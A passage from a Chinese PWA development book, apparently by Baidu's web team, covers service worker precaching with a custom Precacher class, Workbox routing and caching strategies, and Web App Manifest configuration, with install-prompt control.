的安装速度。所以如果要对该方案做进一步优化，可以在加载新资源之前首先通过资源比对的方式，将没有变化的资源直接从旧仓库复制到新仓库当中，剩下的再去请求网络资源。 2.确保资源不重名。 借助 Webpack、Rollup 等构建工具进行前端开发时，可以配置编译产出的静态资源名称带上文件的 md5，这样就能够保证内容发生变更的资源不会产生相同的 URL。但这种方案并不适用于所有的静态资源。举个例子，比如前端渲染的 HTML，尽管它属于静态资源，但是它的 URL 就不允许频繁变更，因此需要采用其他方案作为补充。 在前面资源列表小节内容当中，介绍了一种通过增加 revision 参数来标识文件是否发生变化的方法，我们可以利用这个参数将 URL 改造成不重名的形式。最简单的做法是，将 revision 以 Search 参数的方式拼接到 URL 当中。下面通过代码举例说明： let resource = { url: '/index.js', revision: 'abc' } let cacheKey = location.origin + resource.url + '?precache_url_revision=' + resource.revision // 打印 http://127.0.0.1:8080/index.js?precache_url_revision=abc console.log(cacheKey) 我们可以通过实例化 URL 类对象来简化上述拼接过程： let cacheKeyURL = new URL(resource.url, location) cacheKeyURL.searchParams.set('precache_url_revision', resource.revision) let cacheKey = cacheKeyURL.href 其中所增加的 Search 参数的参数名应该设置成比较特殊的名称以避免原始 URL 存在同名参数导致被覆盖。由于 revision 具有唯一性，就保证了生成的 URL 同样具有唯一性，这样作为资源存储的键值就能够保证不会覆盖掉旧资源。在缓存查询的时候主动给 URL 挂上这个参数再去查询即可。下面通过代码简单演示这个存取过程： let resource = { url: '/index.js', revision: 'abc' } // 存储 // 给资源 URL 拼接 precache_url_revision 参数，并作为键值存储 let cacheKeyURL = new URL(resource.url, location) cacheKeyURL.searchParams.set('precache_url_revision', resource.revision) cache.put(cacheKeyURL.href, response) // 读取 if (requestURL === new URL(resource.url, location).href) { // 给资源请求 URL 拼接 precache_url_revision 参数，并作为键值查询 let cacheKeyURL = new URL(requestURL, location) cacheKeyURL.searchParams.set('precache_url_revision', resource.revision) // 查找缓存资源 cache.match(cacheKeyURL.href).then(response => { if (response != null) { // 资源匹配成功 } }) } 经过补充方案的完善之后，即使 URL 完全一样的资源也能够解决新旧资源覆盖的问题。 预缓存资源加载实现 接下来我们将采用方案 2 来演示预缓存功能的实现，读者也可以根据思路自行实现方案 1 以加深理解。在这里我们可以将预缓存功能封装成一个 Precacher 类，然后可以通过 precache() 方法传入预缓存资源信息。完整的代码可以移步 GitHub 进行学习。以下是相关代码实现： class Precacher { constructor ({ cacheName = 'precache', searchKey = 'precache_url_revision' } = {}) { this.cacheName = cacheName this.searchKey = searchKey // 存储资源信息的列表 this.resources = [] // 初始化事件监听 this.initEventListener() } initEventListener () { // 在 `install` 事件回调执行预缓存资源加载 self.addEventListener('install', event => { event.waitUntil( // 缓存新增/变化的资源 cacheResources(this.cacheName, this.resources) ) }) } precache (resources) { for (let resource of resources) { // 格式化资源信息 let res = formatResource(this.searchKey, resource) this.resources.push(res) } } } 其中 install 事件中所使用的 cacheResources() 方法会首先找出新增或内容发生变化的资源，然后重新请求并缓存。具体实现如下所示： async function cacheResources (cacheName, resources) { let urls = resources.map(resource => resource.cacheKey) // 首先打开并缓存 CacheStorage 对象 let cache = await caches.open(cacheName) // 获取已存储的所有资源键值信息 let requests = await cache.keys() // 获取已存储的资源 URL let cachedURLs = requests.map(request => request.url) // 找出新增资源里面未存储过的资源 URL let updateURLs = urls.filter(url => !cachedURLs.includes(url)) // 最后调用 cache.addAll() 缓存新增资源 await cache.addAll(updateURLs) } 另外在调用 precache() 时，传入的资源信息可能是字符串或者对象，因此需要 formatResource() 方法将资源信息格式化，格式化过程包括 URL 信息补全以及类型统一。经过格式化后的资源信息对象将包含两个属性：url 为补全后的资源原始 URL，cacheKey 为资源存入缓存中的键值。具体实现如下所示： function formatResource (searchKey, resource) { let originURL let cacheKeyURL // 当资源信息为字符串时，说明资源 URL 已经具有唯一性 // 因此可以直接拿 URL 作为资源的存储键值 if (typeof resource === 'string') { originURL = new URL(resource, location) cacheKeyURL = new URL(resource, location) } // 当资源信息为对象时，需要使用 revision 来生成资源存储键值 else { originURL = new URL(resource.url, location) cacheKeyURL = new URL(resource.url, location) cacheKeyURL.searchParams.set(searchKey, resource.revision) } return { url: originURL.href, cacheKey: cacheKeyURL.href } } 这样我们就通过 Precacher 简单实现了预缓存资源的加载。在使用的时候，只需要实例化 Precacher 后调用 precache 方法传入预缓存资源列表信息即可： let precacher = new Precacher() precacher.precache([ { url: '/index.html', revision: 'abc' }, { url: '/index.js', revision: '1.0.1' }, '/index.abc.css' ]) 旧资源的清理 当新的 Service Worker 安装并激活成功之后，旧的预缓存资源就基本没用了，因此需要及时对旧资源进行清理。我们一般选择 activate 事件回调来执行旧资源的清理工作，此时 Service Worker 已经安装完成，并且已经进入激活阶段，激活完成之后新 Service Worker 就已经正式接管并开始工作了，因此在这个阶段清理旧缓存不会对旧 Service Worker 造成影响，并且在 activate 事件的回调当中，清理过程导致的任何出错都不会影响到 Service Worker 的激活。 接下来我们只需往 Precacher 类添加对 activate 事件监听以及旧资源的清理逻辑即可： class Precacher { // ... initEventListener () { // install ... // 添加 activate 事件监听清理旧资源 self.addEventListener('activate', event => { event.waitUntil( // 清理旧缓存 clearOldResources(this.cacheName, this.resources) ) }) } } 其中 clearOldResources() 方法实现了对旧预缓存资源的清理，在实现思路上与前面的 cacheResources() 方法类似，通过比对已缓存资源和当前资源列表信息进行比对，找出旧资源并删除。具体实现如下所示： async function clearOldResources (cacheName, resources) { let urls = resources.map(resource => resource.cacheKey) // 首先打开并缓存 CacheStorage 对象 let cache = await caches.open(cacheName) // 获取已存储的所有资源键值信息 let requests = await cache.keys() // 找出新增的 URL // 获取已存储的资源 URL let cachedURLs = requests.map(request => request.url) // 找出不在资源列表信息当中的 URL let oldURLs = cachedURLs.filter(url => !urls.includes(url)) // 最后调用 cache.delete() 删除旧资源 await Promise.all(oldURLs.map(url => cache.delete(url))) } 预缓存方案的请求响应策略 预缓存资源在加载机制保证了 Service Worker 安装并激活完成时，预缓存资源已全部处于可用状态，因此可以对预缓存资源的请求响应采用 Cache First 甚至 Cache Only 的策略。由于在预缓存资源加载阶段当中，为了避免新旧资源重名而使用修改过的 URL 作为存储键值，因此在拦截到的预缓存请求，也同样需要经过修改才能够查找到缓存的资源。接下来给 Precacher 添加 addRoute() 方法实现对资源的拦截与响应： class Precacher { // ... addRoute () { // addRoute() 方法只需执行一次 if (this.hasAdded) { return } this.hasAdded = true const cacheFirstHandler = cacheFirst({ cacheName: this.cacheName }) const router = new Router() router.registerRoute( request => { return this.resources.some( resource => resource.url === request.url ) }, request => { for (let resource of this.resources) { if (resource.url === request.url) { return cacheFirstHandler(new Request(resource.cacheKey)) } } } ) } // 将 precache() 和 addRoute() 合成一个方法 precacheAndRoute (resources) { this.precache(resources) this.addRoute() } } 这样直接调用 precacheAndRoute() 方法就能够实现资源预缓存的同时也设置好预缓存资源的响应了。 let precacher = new Precacher() precacher.precacheAndRoute([ { url: '/index.html', revision: 'abc' }, { url: '/index.js', revision: '1.0.1' }, '/index.abc.css' ]) 预缓存示例 本节的示例将在上一节的示例基础上增加预缓存功能，相关示例代码托管在 GitHub 上面，读者可以自行将代码下载到本地运行和修改。 首先从示例的资源分析可以看出，网页的 App Shell 部分属于静态资源，因此可以进行预缓存。 然后需要获取静态资源的 md5 值，并且将得到的 md5 值添加到 index.js 和 index.css 的文件名当中，由于 index.html 的 URL 不允许发生变化，因此在生成资源信息列表的时候给 index.html 的资源信息描述添加 revision： let resources = [ { url: '/index.html', revision: '5ed70e0c237b4c66' }, '/index.f8666b443c7a0e84.js', '/index.1236d1250f7ffbdc.css' ] 接下来修改 Service Worker，添加预缓存相关代码，同时移除重复的路由规则即可。利用上面实现的 Precacher 类可以非常方便地实现预缓存规则的添加： // 预缓存 let precacher = new Precacher() precacher.precacheAndRoute(resources) // 动态缓存 var router = new Router() // 删除预缓存已经处理的路由 // router.registerRoute(/\\\\/index\\\\.(html|css|js)$/, cacheFirst()) router.registerRoute(/\\\\/article\\\\.json$/, staleWhileRevalidate()) router.registerRoute(/\\\\/statistics\\\\.json$/, networkOnly()) 这样预缓存的改造工作就完成了。启动好示例服务器，使用 Chrome 浏览器重新访问 http://127.0.0.1:8080/index.html，这时可以通过开发者工具观察到新的 Service Worker 开始安装，同时 Cache Storage 面板多了一个名为“precache”的缓存仓库，里面的内容正是预缓存资源。接下来断开浏览器的网络连接，页面仍然能够正常显示，说明预缓存资源已添加成功并且正常工作。 接下来修改静态资源内容，用于观察预缓存资源的更新过程。首先在 index.html 上修改部分内容，比如增加 标签显示文案 这是一首小诗，这样 index.html 的 md5 将会变成 asdf，因此需要更新 service-worker.js 中的资源信息列表部分： let resources = [ { url: '/index.html', revision: 'c607781a6a09a468' }, // ... ] // ... 接下来重新刷新页面，可以看到此时页面上并没有显示后面添加的文案“这是一行小诗”，说明 index.html 是从缓存中读取的。同时由于 service-worker.js 文件内容变更而触发了 Service Worker 的重新安装： 安装完成时“precache”缓存仓库中便会同时存在两条“/index.html”的存储条目： 之后在控制台点击 skipWaiting 按钮或刷新页面触发 Service Worker 进入激活阶段。当 Service Worker 激活完成时，旧的“/index.html”缓存会被删除，同时页面显示了新添加的文案，说明 Precacher 成功实现了新旧资源交替更换的管理。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05/5-workbox.html\":{\"url\":\"chapter05/5-workbox.html\",\"title\":\"5.5 使用 Workbox\",\"keywords\":\"\",\"body\":\"使用 Workbox Workbox 是 Google Chrome 团队推出的一套 PWA 的解决方案，这套解决方案当中包含了核心库和构建工具，因此我们可以利用 Workbox 实现 Service Worker 的快速开发。本节内容将介绍 Workbox 的一些常用方法。 引入 Workbox Service Worker 文件引入 Workbox 的方法非常简单，只需要在文件顶部增加一行代码即可： importScripts('https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js') Workbox 从 3.x 版本开始便将其核心文件托管到 CDN 上进行维护，开发者也可以下载下来自行维护。 我们可以通过判断全局对象 workbox 是否存在来确认 Workbox 是否加载完成： if (workbox) { // Workbox 加载完成 } 一旦 Workbox 加载完成，我们便可以使用挂载到 workbox 对象上的各种功能了。 Workbox 配置 Workbox 提供了默认的预缓存和动态缓存的名称，可分别通过 workbox.core.cacheNames.precache 和 workbox.core.cacheNames.runtime 获取当前定义的预缓存和动态缓存名称。在通常情况下，我们使用默认的缓存名称进行资源存取即可，假如遇到缓存名称冲突的情况，也可以调用 workbox.core.setCacheNameDetails 方法去修改这些默认名称。下面的代码演示了修改默认名称的方法以及修改结果： // 修改默认配置 workbox.core.setCacheNameDetails({ prefix: 'app', suffix: 'v1', precache: 'precache', runtime: 'runtime' }) // 打印修改结果 // 将打印 'app-precache-v1' console.log(worbox.core.cacheNames.precache) // 将打印 'app-runtime-v1' console.log(workbox.core.cacheNames.runtime) Workbox 预缓存功能 workbox.precaching 对象提供了常用的预缓存功能，其中最常用的方法是 workbox.precaching.precacheAndRoute。它的作用跟我们前面实现的 Precacher.precacheAndRoute() 的功能类似， 都是将传入的资源列表进行预缓存，同时对匹配到的预缓存请求直接从本地缓存中读取并返回。 workbox.routing.precacheAndRoute([ { url: '/index.html', revision: 'asdf' }, '/index.abc.js', '/index.bcd.css' ]) Workbox 路由功能 Workbox 对资源请求匹配和对应的缓存策略执行进行了统一管理，采用路由注册的组织形式，以此来规范化动态缓存。与前面我们封装的 Router 类似，Workbox 提供了 worbox.routing.registerRoute 方法进行路由注册，使用方法如下所示： workbox.routing.registerRoute(match, handlerCb) 接下来我们将对两个参数进行介绍。 路由匹配规则 workbox.routing.registerRoute 的第一个参数 match 是路由的匹配规则，支持以下几种匹配模式： 1.对资源 URL 进行字符串匹配。URL 字符串可以是完整 URL 或者是相对路径，如果是相对路径，Workbox 首先会以当前网页的 URL 为基准进行补全再进行字符串匹配。假设当前页面的 URL 为 http://127.0.0.1:8080/index.html，那么如下所示所注册的路由都是能够正常匹配到 http://127.0.0.1:8080/index.css 这个资源请求的： workbox.routing.registerRoute('http://127.0.0.1:8080/index.css', handlerCb) workbox.routing.registerRoute('/index.css', handlerCb) workbox.routing.registerRoute('./index.css', handlerCb) 2.对资源 URL 进行正则匹配。假设我们注册这样一条正则匹配的路由规则： workbox.routing.registerRoute(/\\\\/index\\\\.css$/, handlerCb) 那么以下以 '/index.css' 为结尾的同域资源都能够命中这条路由规则： http://127.0.0.1:8080/index.css http://127.0.0.1:8080/a/index.css http://127.0.0.1:8080/a/b/index.css 但是对于跨域资源来说并不会命中这条路由规则。这是因为 Workbox 在正则匹配的模式下对跨域资源做了特殊处理，一般情况下会忽略掉对跨域资源的匹配，只有当正则表达式能够匹配到跨域资源 URL 的开头，Workbox 才会明确地知道这类跨域资源需要进行动态缓存处理。因此，如下所示的正则匹配规则才会命中 https://third-party-site.com 这个域下的跨域资源请求： workbox.routing.registerRoute( /^https:\\\\/\\\\/third-party-site\\\\.com\\\\/.*\\\\/index\\\\.css$/, handlerCb ) 3.自定义路由匹配方法。match 允许传入一个自定义方法来实现较为复杂的资源请求匹配规则，这个自定义方法可以仿造下面的代码实现： const match = ({url, event}) => { return url.pathname === '/index.html' } 其中 url 是 URL 类的实例，event 是 fetch 事件的回调参数。url 可通过对 URL 类进行实例化，从 event.request.url 转换得到： let url = new URL(event.request.url) 自定义路由匹配方法有两点要求，首先要求是个同步执行函数，其次函数在表示资源请求匹配成功的时候，只需要返回一个真值（即强制转化为布尔值后为 true 的值）即可。 资源请求处理方法 workbox.routing.registerRoute 的第二个参数 handlerCb 是对匹配到的资源请求进行处理的方法，开发者可以在这里决定如何响应请求，无论是从网络、从本地缓存还是在 Service Worker 中直接生成都是可以的。比如： const handlerCb = ({url, event, params}) => { return Promise.resolve(new Response('Hello World!')) } 其中，传入资源请求处理方法的对象包含以下属性： url：event.request.url 经 URL 类实例化的对象； event：fetch 事件回调参数； params：自定义路由匹配方法所返回的值。 对资源请求处理方法的要求是，函数必须是个异步方法并返回一个 Promise，且这个 Promise 解析的结果必须是一个 Response 对象。 Workbox 缓存策略 workbox.strategies 对象提供了一系列常用的动态缓存策略来实现对资源请求的处理。包括了以下几种策略： NetworkFirst：网络优先 CacheFirst：缓存优先 NetworkOnly：仅使用正常的网络请求 CacheOnly：仅使用缓存中的资源 StaleWhileRevalidate：从缓存中读取资源的同时发送网络请求更新本地缓存 这些策略与前面介绍资源请求响应策略的章节中简易实现的缓存策略做对比可以发现，其原理基本是一致的，当然在具体实现上 Workbox 考虑得更为复杂而全面以应对各式各样的生产环境。我们可以通过前面简易实现的策略来加深对 Workbox 缓存策略的认识。 下面举个例子来演示 Workbox 缓存策略的使用。假设需要对 /api 的资源请求采用 NetworkFirst 的策略，那么相应的路由规则和策略的使用代码如下所示： workbox.routing.registerRoute(/\\\\/api/, new workbox.strategies.NetworkFirst()) 缓存策略配置 Workbox 缓存策略均可进行如下配置： cacheName：指定当前策略进行资源缓存的名称； plugins：指定当前策略所使用的插件列表； 对于需要使用 Fetch API 来发送网络请求的策略将会多出以下配置项： fetchOptions：作为 Fetch API 的第二个参数透传给当前策略中所有使用到的 Fetch API； 对于需要使用 Cache API 操作本地缓存的策略将多出以下配置项： matchOptions：作为 Cache 对象所提供的查找方法 match 的第二个参数透传给当前策略中所有使用到 cache.match 的地方。 接下来通过一些例子来演示缓存策略的配置以及配置生效的情况。 指定资源缓存名称 假设我们需要针对图片资源单独进行存储管理，那么可以在策略中设置 cacheName 来指定缓存名称： workbox.routing.registerRoute( /\\\\.(jpe?g|png)/, new workbox.strategies.CacheFirst({ cacheName: 'image-runtime-cache' }) ) 这样当站点图片资源缓存成功之后，打开 Chrome 开发者工具 > Applications > Cache Storage，就可以看到此时多了一个名为“image-runtime-cache”的缓存空间，里面缓存的内容全是图片资源。 添加插件 Workbox 提供了一些功能强大的插件来强化缓存策略，在这里简单演示一下如何使用 workbox.expiration.Plugin 来实现对图片资源的过期管理： workbox.routing.registerRoute( /\\\\.(jpe?g|png)/, new workbox.strategies.CacheFirst({ plugins: [ new workbox.expiration.Plugin({ // 对图片资源缓存 1 星期 maxAgeSeconds: 7 * 24 * 60 * 60, // 匹配该策略的图片最多缓存 10 张 maxEntries: 10 }) ] }) ) 配置 fetchOptions 对于设置了 CORS 的跨域请求的图片资源，可以通过配置 fetchOptions 将策略中 Fetch API 的请求模式设置为 cors： workbox.routing.registerRoute( /^https:\\\\/\\\\/third-party-site\\\\.com\\\\/.*\\\\.(jpe?g|png)/, new workbox.strategies.CacheFirst({ fetchOptions: { mode: 'cors' } }) ) 配置 matchOptions 假设图片资源缓存的存取需要忽略请求 URL 的 search 参数，可以通过设置 matchOptions 来实现： workbox.routing.registerRoute( /\\\\.(jpe?g|png)/, new workbox.strategies.CacheFirst({ matchOptions: { ignoreSearch: true } }) ) 基于 Workbox 改造 Service Worker 在前面章节内容当中，我们使用了自行封装的方法编写 Service Worker 文件，实现了示例页面的离线可访问。接下来，我们将基于 Workbox 实现同样功能的 Service Worker。 // 引入 workbox 核心 importScripts('https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js') // 预缓存 workbox.precaching.precacheAndRoute([ { url: '/index.html', revision: '5ed70e0c237b4c66' }, '/index.f8666b443c7a0e84.js', '/index.1236d1250f7ffbdc.css' ]) // 动态缓存 workbox.routing.registerRoute( /\\\\/article\\\\.json$/, new workbox.strategies.StaleWhileRevalidate() ) workbox.routing.registerRoute( /\\\\/statistics\\\\.json$/, new workbox.strategies.NetworkOnly() ) 此时页面展示的效果与前面的例子是一样的： 小结 Workbox 的功能非常完善，插件机制也能够很好的满足各种业务场景需求，如果自己手动维护一个应用的原生的 Service Worker 文件工作量非常巨大，而且有很多潜在的问题不容易被发现，Workbox 很好的规避了很多 Service Worker 潜在的问题，也大大减小了 Service Worker 的维护成本，所以建议大家在开始考虑使用 Service Worker 的时候优先考虑 Workbox。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06.html\":{\"url\":\"chapter06.html\",\"title\":\"第6章 用户留存\",\"keywords\":\"\",\"body\":\"用户存留 用户存留一直是网站应用保持活跃度的一项重大课题。通过自身过硬的品质和适当的营销手段吸引到用户之后，PWA 提供了一系列方法来提高网站吸引力，增加网站与用户的互动性等等，达到提高用户留存率的目的。 添加到主屏幕 网站应用向来需要依附于浏览器，在一般情况下，网站首先需要打开浏览器，然后输入网址或者打开书签，才能够访问到网页内容。这一流程相比起直接占领主屏的原生应用来说简直是绕了一个大弯，这也是原生应用相对于网站应用更为方便的原因之一。因此网站应用也迫切地需要这一功能。PWA 新增了 manifest.json 配置文件，用于定义添加到桌面的图标和应用名称、打开应用的启动动画，并且通过修改显示类型的配置项，可以隐藏掉浏览器相关 UI（如导航栏、工具栏等等），使得从主屏幕直接打开的网站应用更像原生应用。 凭证管理 提高网站吸引力的方法少不了长效的账号机制建立，只有通过账号机制才能够更有效地获取并分析用户需求，从而给予更为准确的个性化服务。在这个方面，PWA 新增了凭证管理 API，提供了更为高效和安全的用户身份凭证存储和读取的功能，用以简化及优化用户登录流程，从而提高用户登录率。 桌面通知 桌面通知是一种时效性最强的与用户沟通的方式，即使在应用未打开的情况下，桌面通知依然能够在设备的通知栏显示推送的通知，能够立即引起用户的注意，对于一些突发事件、限时活动、重大升级等等时效性要求很高的场景，桌面通知总是最好的选择。这也是过去原生应用功能强于网站应用的原因之一。因此 PWA 提供了 Notification API，补全了这一功能。 消息推送 有了桌面通知作为消息展示的载体之后，浏览器还提供了专门的消息推送方法，使得网页即使在未打开的情况下，也能够接收到后端推送的消息，并且结合 Notification API 就能够做到离线的消息推送与通知展现了。 支付方法 对于用户留存来说，浏览器的支付功能就是培养用户习惯的利器，一旦用户习惯了在浏览器中使用支付 API 进行购物等消费活动，那么用户留存率自然就提高了。而且现代社会很多人都会有网上购物的需求，提供统一方便使用的支付界面是 Payment Request API 的目标之一。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06/1-manifest-json.html\":{\"url\":\"chapter06/1-manifest-json.html\",\"title\":\"6.1 Web 应用清单\",\"keywords\":\"\",\"body\":\"Web 应用清单 Web 应用清单（Web App Manifest）是一份 JSON 格式的文件，它定义了网站应用的相关信息，包括应用名称、图标、启动方式等等。当网站提供了这么一份应用程序清单，并且满足一定的生效条件之后，将具有添加到主屏幕的能力。 添加到主屏幕的网站并不等同于“添加到桌面快捷方式”。如下图所示，当网站添加到主屏幕之后，它将具有如同 Native App 一样独立的图标和名称；点击图标打开网站，资源加载的过程并不会像普通网页那样出现白屏，取而代之的是一个展示应用图标和名称的启动页面，资源加载结束时加载页消失；当网页最终展现时，地址栏、工具栏等浏览器元素将不会展现出来，网页内容占满屏幕，看起来与 Native App 一样。 添加到主屏幕的好处有很多，主要在用户黏性和用户体验上，如下。 首先是减少了网站入口深度，用户可以直接从主屏幕直达站点； 其次是能够让网站具有更加接近原生体验的特性，具有启动页面，脱离浏览器 UI； 最后，添加到主屏幕的网站如同安装原生应用那样，被纳入应用抽屉中，并且可以通过系统设置直接对站点进行设置。 接下来看看如何使用 Web 应用程序清单。 添加 manifest.json 首先我们准备一份包含常用配置的 manifest.json 文件，如下。 { \\\"name\\\": \\\"Progressive Web App\\\", \\\"short_name\\\": \\\"PWA\\\", \\\"start_url\\\": \\\"/?from=homescreen\\\", \\\"icons\\\": [ { \\\"src\\\": \\\"/static/img/icons/android-chrome-192x192.png\\\", \\\"sizes\\\": \\\"192x192\\\", \\\"type\\\": \\\"image/png\\\" }, { \\\"src\\\": \\\"/static/img/icons/android-chrome-512x512.png\\\", \\\"sizes\\\": \\\"512x512\\\", \\\"type\\\": \\\"image/png\\\" } ], \\\"display\\\": \\\"standalone\\\", \\\"background_color\\\": \\\"#ffffff\\\", \\\"theme_color\\\": \\\"#1976d2\\\" } 然后在站点 HTML 页面的 中通过 link 标签引入该文件。 上面两个步骤就完成了 Web 应用清单文件的编写。 添加到主屏幕 目前存在两种方式将站点添加到主屏幕。首先第一种就是用户自主添加至桌面，当网站的 Web 应用清单生效时，部分浏览器菜单栏会多出“添加到屏幕”的选项，用户可以主动将网站添加到桌面。但是大部分用户都不会这么去做，而且目前仅有 Chrome、Firefox 等少量浏览器会提供这样的选项，因此接下来重点介绍第二种添加到主屏幕的方式：应用安装提示。 对于一些用户经常浏览的 PWA 站点，浏览器会在相应页面打开的时候，以适当的频次弹出应用安装提示，询问用户是否要将当前站点添加到主屏幕，如下图所示。用户点击按钮接受，将利用 manifest.json 文件中定义的名称、图标和启动地址等信息在主屏幕生成 PWA 应用入口。 如果期望浏览器展现应用安装提示，需要满足一定的规则： 需要 manifest.json 文件，并且包含以下配置 name 或 short_name 定义应用名称，优先采用 short_name start_url 指定启动 URL icons 并且包含 144×144 的 PNG 格式的方形图标声明 display 指定显示模式，并且必须取值 standalone 或 fullscreen 站点必须注册 Service Worker Chrome 要求 Service Worker 且必须监听 fetch 事件 站点通过 HTTPS 访问（调试模式下允许 http://127.0.0.1 或 http://localhost 访问） 站点在同一浏览器中至少访问过两次，并且两次访问间隔至少为 5 分钟 安装提示展现的规则是浏览器内置的，开发者无法主动去触发它，否则每个站点都可能会不加节制地触发展现安装提示，导致功能滥用，严重破坏用户体验。因此设定了两次以上访问，并且两次访问间隔在 5 分钟以上的限制，既确保了站点是用户经常浏览的站点，也同时能保证在用户频繁切换页面的情况下不会弹出安装提示打断浏览体验。 对于不同浏览器而言，安装提示的样式和展现逻辑可能存在区别，不过都是大同小异，开发者只要满足上述提到的各项条件即可。 设置启动页面 从主屏幕打开的网站应用时，会首先展示启动页面，同时应用后台进行加载资源，渲染首屏等准备工作，避免了页面在这个过程中显示白屏，给用户一种从打开到展现的连贯性体验。如下图所示，启动页面一般由应用图标、应用名称和背景色构成： 启动页面通过 manifest.json 文件的以下配置生成： name 或 short_name 定义应用名称，优先采用 name icons 应用图标 display 显示模式，必须取值 standalone 或 fullscreen background_color 背景颜色，支持 RGB 颜色定义 由于启动页面是资源加载过程中显示的临时页面，其展示过程会比较短，建议选择首页主色调作为背景色，这样采用相同的颜色，就可以实现从启动页面到首页的平稳过渡。 配置项详解 前面主要介绍了 Web 应用清单能够给 PWA 带来什么样的新功能和新体验，我们在前面的内容里只是简单介绍了这些新功能所依赖 Web 应用清单的最小化配置，并未对这些配置项的功能、取值等进行具体展开。在这个小节里，我们将对一些常用的配置项进行详细说明。 name 和 short_name name，short_name，用来配置网站应用的名称。其中 name 为应用全称，用于应用安装提示、启动页面的显示；short_name 为应用名的简写，用于添加到主屏幕时的应用名展示。应用名称是 Web 应用清单必须的配置项，因此 name 和 short_name 需要至少配置其中一项。如下图所示，当配置 name 为 Progressive Web App，short_name 为 PWA，那么在安装提示和启动页面上将展示 Progressive Web App，而添加到桌面的快捷方式将显示 PWA。 icons icons 用来定制应用图标。icons 接收的是一个图标描述对象列表，每个图标的描述对象包含三个属性： src：字符串，图标 URL； sizes：字符串，图标尺寸，格式为 宽x高，数值单位默认为 px。对于 .ico 类型的图标支持多种尺寸的情况，可以使用空格作为间隔，比如 48x48 96x96 128x128； type：字符串，非必填项，图标的 mime 类型，可以用来让浏览器快速忽略掉不支持的图标类型。 开发者可以传入一系列尺寸大小的图片描述对象，浏览器会自动根据当前分辨率和图标的用途选择合适尺寸的图片，比如主屏幕显示会选择 144x144 大小的图标，而启动页面则会选择尺寸更大一些的图标。 start_url start_url 用来定义添加到桌面后的启动 URL。start_url 可以采用绝对路径和相对路径的方式定义，如果采用的是相对路径，其相对的基础路径为当前 manifest.json 文件的 URL。比如 start_url 为 ../hello，而 manifest.json 的路径为 https://path/to/manifest.json 那么启动的 URL 为 https://path/hello。 在目前的条件下，浏览器尚未提供任何属性值或者环境变量来帮助程序判断当前的网站是直接通过浏览器打开还是通过桌面图标启动的，但我们可以利用 start_url 来简单地实现这个功能。通过在 start_url 增加 query 参数，比如增加 from=homescreen 这样的参数，那么我们就可以在程序里通过获取 URL 上的 query 参数进行判断，进而去控制调整页面的展现逻辑、去发送渠道展现统计等等。 display display 用来定义从桌面打开的网站的显示模式。目前支持的显示模式有以下几种： 显示模式 描述 降级显示类型 fullscreen 全屏模式，页面占满整个屏幕，包括移动设备的状态栏都会被页面覆盖 standalone standalone 独立模式，浏览器相关UI（如导航栏、工具栏等）将会被隐藏，移动设备状态栏不会被覆盖 minimal-ui minimal-ui 显示形式与standalone类似，浏览器相关UI会最小化为一个按钮，不同浏览器在实现上略有不同，支持度较低 browser browser 浏览器模式，直接通过浏览器打开网页的普通展现方式，包含地址栏、工具栏等浏览器元素 None 在默认情况下，网站应用将以 browser 模式来显示，展示出地址栏、工具栏等浏览器元素，这不但挤占了宝贵的屏幕可视区域，同时也不利于用户专注于当前的站点服务。有了 display 配置项，开发者可以根据当前网站应用的形态选择不同的显示模式，比如 HTML5 游戏，可以选择 fullscreen 模式，完全占满屏幕减小游戏过程误操作的可能；比如具有闭环服务的站点，则可以选择 standalone 模式将用户留在当前的网站中，减少跳出的可能。 background_color 和 theme_color background_color 定义网站背景色，在显示启动页面时生效，如下图所示，当 background_color 设置为 #ffffff 时，启动页面的背景显示为白色。 theme_color 定义网站的主题色，theme_color 会影响到浏览器 UI 元素的显示，如下图所示，当 theme_color 设置为 #1976d2 时，启动页面的顶部手机状态栏的颜色显示为蓝色。 当使用浏览器正常访问页面时，可以看到即使定义了 theme_color，浏览器的地址栏、工具栏等并没有变成蓝色，这是因为页面主题色是由 HTML 所通过 meta 标签所定义的，标签如下所示： 这样，即使在浏览器模式下，浏览器 UI 元素也将会变成蓝色的了。 Web 应用清单所定义的各种颜色属性目前仅支持 RGB 颜色定义，也就是说 #ffffff、#fff、rgb(255, 255, 255) 这类定义都是合法的，也支持直接使用内置的颜色名定义，比如 red、blue、yellow 等等，其余都不合法。 在设置 background_color 和 theme_color 的时候，应该尽可能地选择页面主题色，这样才会使得页面与浏览器 UI、启动页面等元素过渡自然，彼此融为一体。 控制应用安装提示 前面提到开发者无法主动触发安装提示的弹出，但浏览器提供了一些方法来对弹出效果进行微调，比如推迟提示、取消提示等等。 浏览器提供了 beforeinstallprompt 事件来对安装提示的弹出行为进行监听和操作，监听该事件的语法如下所示： window.addEventListener('beforeinstallprompt', function (e) { // 安装提示即将弹出 }) 判断用户安装行为 beforeinstallprompt 事件回调返回了一个名为 userChoice 的 Promise 对象，当用户对安装提示进行操作之后，userChoice 会返回用户的选择结果对象 choiceResult，该对象具有 outcome 属性，如果用户选择“添加到主屏幕时”，outcome 的值为 accept，反之为 dismissed。 window.addEventListener('beforeinstallprompt', function (e) { e.userChoice.then(function (choiceResult) { if (choiceResult.outcome === 'accept') { // 用户将站点添加至桌面 } else { // 用户取消安装 } }) }) 取消提示 在某些情况下，我们不希望弹出安装提示，beforeinstallprompt 的事件回调提供了 preventDefault() 方法来进行取消操作。关键代码如下所示： window.addEventListener('beforeinstallprompt', function (e) { // 阻止添加到主屏对话框弹出 e.preventDefault() }) 推迟提示 除了直接取消安装提示之外，我们还可以将弹出事件收集起来，等到特定的时候再做触发，从而达到推迟提示的目的。比如在某些应用场合下，直接弹出安装提示会打断用户操作，我们可以先将默认的提示行为取消掉，并且把这个事件回调用变量存起来，然后在页面上设计一种更为友好的 UI 去提醒用户，当用户主动点击 UI 确认之后，再去重新调用事件的 prompt 